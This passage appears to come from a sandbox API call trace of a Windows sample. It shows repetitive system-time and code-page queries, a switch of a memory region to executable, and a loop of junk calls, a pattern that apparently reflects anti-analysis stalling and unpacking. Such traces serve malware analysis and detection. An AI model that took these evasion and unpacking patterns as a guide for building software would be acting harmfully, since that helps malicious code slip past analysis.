lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.895] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.895] GetACP () returned 0x4e4 [0052.895] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.895] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.895] GetACP () returned 0x4e4 [0052.895] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.896] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.896] GetACP () returned 0x4e4 [0052.896] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.896] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.896] GetACP () returned 0x4e4 [0052.896] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.896] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.896] GetACP () returned 0x4e4 [0052.896] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.896] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.896] GetACP () returned 0x4e4 [0052.896] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.896] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.896] GetACP () returned 0x4e4 [0052.896] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.896] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.896] GetACP () returned 0x4e4 [0052.896] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.896] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.896] GetACP () returned 0x4e4 [0052.896] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.896] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.896] GetACP () returned 0x4e4 [0052.896] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.896] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.896] GetACP () returned 0x4e4 [0052.896] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.897] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.897] GetACP () returned 0x4e4 [0052.897] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.897] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.897] GetACP () returned 0x4e4 [0052.897] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.897] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.897] GetACP () returned 0x4e4 [0052.897] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.897] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.897] GetACP () returned 0x4e4 [0052.897] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.897] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.897] GetACP () returned 0x4e4 [0052.897] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.897] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.897] GetACP () returned 0x4e4 [0052.897] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.897] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.897] GetACP () returned 0x4e4 [0052.897] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.897] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.897] GetACP () returned 0x4e4 [0052.897] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.897] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.897] GetACP () returned 0x4e4 [0052.897] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.897] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.898] GetACP () returned 0x4e4 [0052.898] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.898] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.898] GetACP () returned 0x4e4 [0052.898] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.898] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.898] GetACP () returned 0x4e4 [0052.898] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.898] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.898] GetACP () returned 0x4e4 [0052.898] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.898] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.898] GetACP () returned 0x4e4 [0052.898] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.898] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.898] GetACP () returned 0x4e4 [0052.898] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.898] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.898] GetACP () returned 0x4e4 [0052.898] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.898] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.898] GetACP () returned 0x4e4 [0052.898] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.898] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.898] GetACP () returned 0x4e4 [0052.898] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.898] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.899] GetACP () returned 0x4e4 [0052.899] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.899] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.899] GetACP () returned 0x4e4 [0052.899] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.899] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.899] GetACP () returned 0x4e4 [0052.899] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.899] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.899] GetACP () returned 0x4e4 [0052.899] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.899] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.899] GetACP () returned 0x4e4 [0052.899] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.899] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.899] GetACP () returned 0x4e4 [0052.899] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.899] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.899] GetACP () returned 0x4e4 [0052.899] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.899] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.899] GetACP () returned 0x4e4 [0052.899] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.899] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.899] GetACP () returned 0x4e4 [0052.899] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.899] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.900] GetACP () returned 0x4e4 [0052.900] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.900] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.900] GetACP () returned 0x4e4 [0052.900] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.900] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.900] GetACP () returned 0x4e4 [0052.900] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.900] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.900] GetACP () returned 0x4e4 [0052.900] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.900] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.900] GetACP () returned 0x4e4 [0052.900] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.900] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.900] GetACP () returned 0x4e4 [0052.900] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.900] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.900] GetACP () returned 0x4e4 [0052.900] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.900] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.900] GetACP () returned 0x4e4 [0052.900] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.900] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.900] GetACP () returned 0x4e4 [0052.900] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.900] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.900] GetACP () returned 0x4e4 [0052.900] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.901] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.901] GetACP () returned 0x4e4 [0052.901] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.901] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.901] GetACP () returned 0x4e4 [0052.901] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.901] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.901] GetACP () returned 0x4e4 [0052.901] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.901] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.901] GetACP () returned 0x4e4 [0052.901] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.901] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.901] GetACP () returned 0x4e4 [0052.901] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.901] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.901] GetACP () returned 0x4e4 [0052.901] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.901] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.901] GetACP () returned 0x4e4 [0052.901] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.901] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.901] GetACP () returned 0x4e4 [0052.901] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.901] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.901] GetACP () returned 0x4e4 [0053.046] VirtualProtect (in: lpAddress=0x4f5ab8, dwSize=0xf2eb, flNewProtect=0x40, lpflOldProtect=0x43ad04 | out: lpflOldProtect=0x43ad04*=0x4) returned 1 [0053.046] AddAtomA (lpString=0x0) returned 0x0 [0053.046] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.046] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.046] AddAtomA (lpString=0x0) returned 0x0 [0053.046] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.046] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.047] AddAtomA (lpString=0x0) returned 0x0 [0053.047] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.047] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.047] AddAtomA (lpString=0x0) returned 0x0 [0053.047] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.047] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.047] AddAtomA (lpString=0x0) returned 0x0 [0053.047] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.047] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.047] AddAtomA (lpString=0x0) returned 0x0 [0053.047] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.047] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.047] AddAtomA (lpString=0x0) returned 0x0 [0053.047] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.047] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.047] AddAtomA (lpString=0x0) returned 0x0 [0053.047] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.047] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.047] AddAtomA (lpString=0x0) returned 0x0 [0053.047] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.047] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.047] AddAtomA (lpString=0x0) returned 0x0 [0053.047] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.048] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.048] AddAtomA (lpString=0x0) returned 0x0 [0053.048] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.048] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.048] AddAtomA (lpString=0x0) returned 0x0 [0053.048] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.048] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.048] AddAtomA (lpString=0x0) returned 0x0 [0053.048] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.048] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.048] AddAtomA (lpString=0x0) returned 0x0 [0053.048] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.048] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.048] AddAtomA (lpString=0x0) returned 0x0 [0053.048] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.048] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.048] AddAtomA (lpString=0x0) returned 0x0 [0053.048] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.048] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.048] AddAtomA (lpString=0x0) returned 0x0 [0053.048] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.048] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.048] AddAtomA (lpString=0x0) returned 0x0 [0053.048] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.048] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.048] AddAtomA (lpString=0x0) returned 0x0 [0053.048] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.048] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.048] AddAtomA (lpString=0x0) returned 0x0 [0053.048] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.048] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.048] AddAtomA (lpString=0x0) returned 0x0 [0053.048] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.048] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.049] AddAtomA (lpString=0x0) returned 0x0 [0053.049] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.049] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.049] AddAtomA (lpString=0x0) returned 0x0 [0053.049] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.049] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.049] AddAtomA (lpString=0x0) returned 0x0 [0053.049] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.049] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.049] AddAtomA (lpString=0x0) returned 0x0 [0053.049] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.049] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.049] AddAtomA (lpString=0x0) returned 0x0 [0053.049] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.049] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.049] AddAtomA (lpString=0x0) returned 0x0 [0053.049] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.049] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.049] AddAtomA (lpString=0x0) returned 0x0 [0053.049] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.049] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") 